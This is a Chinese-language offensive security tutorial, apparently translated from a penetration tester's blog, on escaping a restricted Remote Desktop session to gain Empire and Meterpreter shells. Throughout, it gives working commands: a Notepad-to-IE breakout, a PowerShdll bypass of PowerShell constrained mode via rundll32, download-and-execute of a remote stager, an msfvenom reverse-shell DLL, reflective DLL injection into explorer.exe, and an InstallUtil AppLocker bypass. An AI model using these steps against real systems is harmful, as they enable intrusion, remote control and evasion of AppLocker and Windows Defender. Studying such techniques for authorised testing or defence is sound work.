從遠端桌面服務到獲取Empire Shell
本文將為大家詳細介紹如何在只能訪問遠端桌面服務,且有 AppLocker 保護 Shell/">PowerShell 處於語言約束模式下獲取目標機器 Empire shell。PowerShell 處於語言約束模式,可以防止大多數PowerShell 技巧的使用。另外,還有 Windows Defender 也是我們必須要面對和解決的問題。
環境要求:
RDS伺服器放行80端口出站流量。 .Net v3.5(用於PowerShdll中的dll模式)
注:powershell.exe不是Powershell。它只託管包含PowerShell的程式集並處理I/O.System.Management.Automation.dll
有關更多資訊,請參閱文末連結內容。
從 RDS notepad 獲取 shell
ofollow" rel="nofollow,noindex" target="_blank">https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/
在記事本介面選單欄依次選擇幫助 -> 檢視幫助 -> 觸發IE瀏覽器開啟
右鍵單擊IE中的任意連結 ->將目標另存為 ->在桌面上另存為lol.ps1
點選IE中的檢視下載,按下檔案的下拉列表,開啟 -> 記事本。只需在檔案中寫入powershell.exe並再次儲存。
現在,我們再次在IE中右鍵單擊 ->“將目標另存為”。轉到下拉選單“儲存型別”,然後選擇“所有檔案”。你已儲存的ps1檔案將被顯示,你可以選擇“執行 PowerShell”這會彈出一個PowerShell命令提示符。但當前的PowerShell提示符處於語言約束模式。我們可以通過自動化變數$ExecutionContext.SessionState.LanguageMode進行驗證,可以看到結果為ConstrainedLanguage。
繞過 PoSh 約束模式
首先,我們從 https://github.com/p3nt4/PowerShdll 下載PowerShdll。然後使用python -m SimpleHTTPServer 80在Kali Web伺服器上託管powershdll.dll。接著,在IE中開啟 http://10.7.253.10/PowerShdll.dll 。最後,將其儲存為 -> PowerShdll.dll(可以儲存在任何資料夾下)。C:\Windows\Tasks資料夾是一個繞過Applocker的好地方,因為該目錄通常被列為白名單。但導航到資料夾也可能受到限制,因此在某些情況下你可能需要將其儲存到C:\Users\Username\Desktop(桌面)。
我還不確定如何在Applocked環境中檢查DLL規則。
現在,我們將PowerShell提示符導航至桌面,並使用rundll32來執行dll。
rundll32 .\PowerShdll.dll,main -w
此時,應該會彈出一個新的互動式PowerShell提示符。我們再次通過自動化變數$ExecutionContext.SessionState.LanguageMode進行驗證,可以看到現在已經變為了FullLanguage(完整語言模式)。
更簡單的方法
直到後來我才發現,其實完全可以省去最後兩步的操作。只需使用set Base64 false和set Outfile shell生成一個Empire stager即可。現在從不受限的PowerShell中,下載shell並將其直接執行到記憶體中。
IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.18/shell');
如果你夠幸運Defender將不會攔截,並且你將獲取到一個Empire shell/agent。
獲取 meterpreter shell
生成一個dll payload:
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp lhost=10.10.14.2 lport=8081 -f dll -o msf.dll
設定msf偵聽程式,使用相同的payload,主機和埠。
use multi/handler set host tun0 set port 8081 set payload windows/x64/meterpreter/reverse_tcp exploit
使用之前的IE“另存為”技巧下載msf.dll。
出於某種原因,Windows Defender並沒有攔截我的payload。可能是因為payload的x64簽名尚未被Defender識別為惡意軟體,具體我也不是很清楚。
現在,我們使用rundll32來執行dll。之所以使用rundll32,是因為它是一個不會被Applocker阻止的二進位制檔案。
rundll32 .\msf.dll,Control_RunDLL
成功獲取到了meterpreter shell。
沒有 powershell.exe 的 Empire
假設您已建立了一個metasploit會話。
在Empire中,建立一個empire listener 和 stager。最重要的是將Base64設定為false,防止stager呼叫powershell.exe。由於受限的語言模式,將導致powershell.exe無法在此處執行。
uselistener http set Host 10.7.253.18 set Port 4444 execute back usestager multi/launcher set Base64 false generate
現在在MSF中:
load powershell powershell_shell
在互動式shell中複製貼上empire listener,在Empire中應該會生成一個agent代理。
更多高階技術
繞過 powershell 約束模式和 applocker
以下是一篇關於繞過應用白名單和powershell約束模式的文章,大家可以閱讀下:
1.使用windows/hta生成一個listener和hta stager。 2.在visual studio中開啟ReflectivePick project。在適當的位置新增hta base64 shell stager,並將dll編譯為ReflectivePick_x64.dll。 3.使用以下PS命令將DLL編碼為base64,並將結果通過管道傳輸到一個文字檔案中。
$Content = Get-Content .\ReflectivePick_x64.dll -Encoding Byte $Encoded = [System.Convert]::ToBase64String($Content) $Encoded | Out-File "C:\Windows\Tasks\dll.txt"
4.複製貼上dll.txt的內容到Invoke-ReflectivePEInjection.ps1的新變數中。
$dllData = "DLLBASE64_GOES_HERE" $ProcId = (Get-Process explorer).Id $Bytes = [System.Convert]::FromBase64String($dllData) Invoke-ReflectivePEInjection -PEBytes $Bytes -ProcId $ProcId
5.使用 https://www.base64encode.org/ 線上Base64編碼整個指令碼。開啟VS中的Bypass project,並將編碼後的內容複製貼上到encoded變數中。使用VS將其編譯為Bypass.exe。
6.使用installutil.exe執行bypass.exe
set-location \\tsclient\lkylabs copy-item .\Bypass.exe c:\windows\tasks cd c:\windows\tasks C:\windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\Tasks\Bypass.exe
參考連結
https://github.com/Ben0xA/AwesomerShell
https://www.youtube.com/watch?v=czJrXiLs0wM
https://adsecurity.org/?p=2921
https://bneg.io/2017/07/26/empire-without-powershell-exe/
https://artofpwn.com/offensive-and-defensive-powershell-ii.html
https://github.com/caseysmithrc/DeviceGuardBypasses
https://github.com/Joshua1909/AllTheThings
https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html
https://twitter.com/gentilkiwi/status/976939139248640000
*參考來源: chryzsh , FB小編 secist 編譯,轉載請註明來自FreeBuf.COM